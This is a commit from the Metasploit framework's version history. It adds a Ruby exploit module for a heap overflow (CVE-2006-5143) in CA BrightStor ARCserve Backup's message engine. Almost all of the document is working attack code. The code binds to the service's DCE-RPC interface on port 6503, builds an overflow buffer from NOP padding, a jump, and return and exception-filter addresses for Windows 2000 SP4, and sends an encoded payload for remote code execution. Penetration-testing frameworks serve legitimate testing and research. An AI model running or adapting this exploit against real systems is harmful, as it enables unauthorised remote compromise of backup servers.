added exploit module messege_engine_heap.rb

git-svn-id: file:///home/svn/framework3/trunk@4299 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/brightstor/messege_engine_heap.rb

@@ -0,0 +1,73 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Brightstor::Messege_Engine_Heap < Msf::Exploit::Remote
+
+	include Exploit::Remote::DCERPC
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'CA BrightStor ARCserve Messege Engine Heap Overflow',
+			'Description'    => %q{
+				This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
+				11.5. By sending a specially crafted RPC request, an attacker could overflow the
+				buffer and execute arbitrary code. 
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3906 $',
+			'References'     =>
+				[
+					[ 'CVE', '2006-5143' ],
+					[ 'BID', '20635' ],
+					[ 'URL', 'http://www.lssec.com/advisories/LS-20060313.pdf' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 800,
+					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+			'Targets'  =>
+					[
+						['Windows 2000 SP4 English',   { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
+					],	
+			'DisclosureDate' => 'Oct 05 2006',
+			'DefaultTarget' => 0))
+
+			register_options([ Opt::RPORT(6503) ], self.class)	
+	end
+
+	def exploit
+		connect
+		
+		handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])	
+		print_status("Binding to #{handle} ...")
+
+		dcerpc_bind(handle)
+		print_status("Bound to #{handle} ...")
+
+		# straight forward heap stuffz
+		sploit =  make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
+		sploit << [ target['UEF'] ].pack('V') + payload.encoded 
+
+		print_status("Trying target #{target.name}...")
+         
+			begin
+				dcerpc_call(43, sploit)
+				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
+			end
+
+		handler
+		disconnect
+	end
+
+end
+end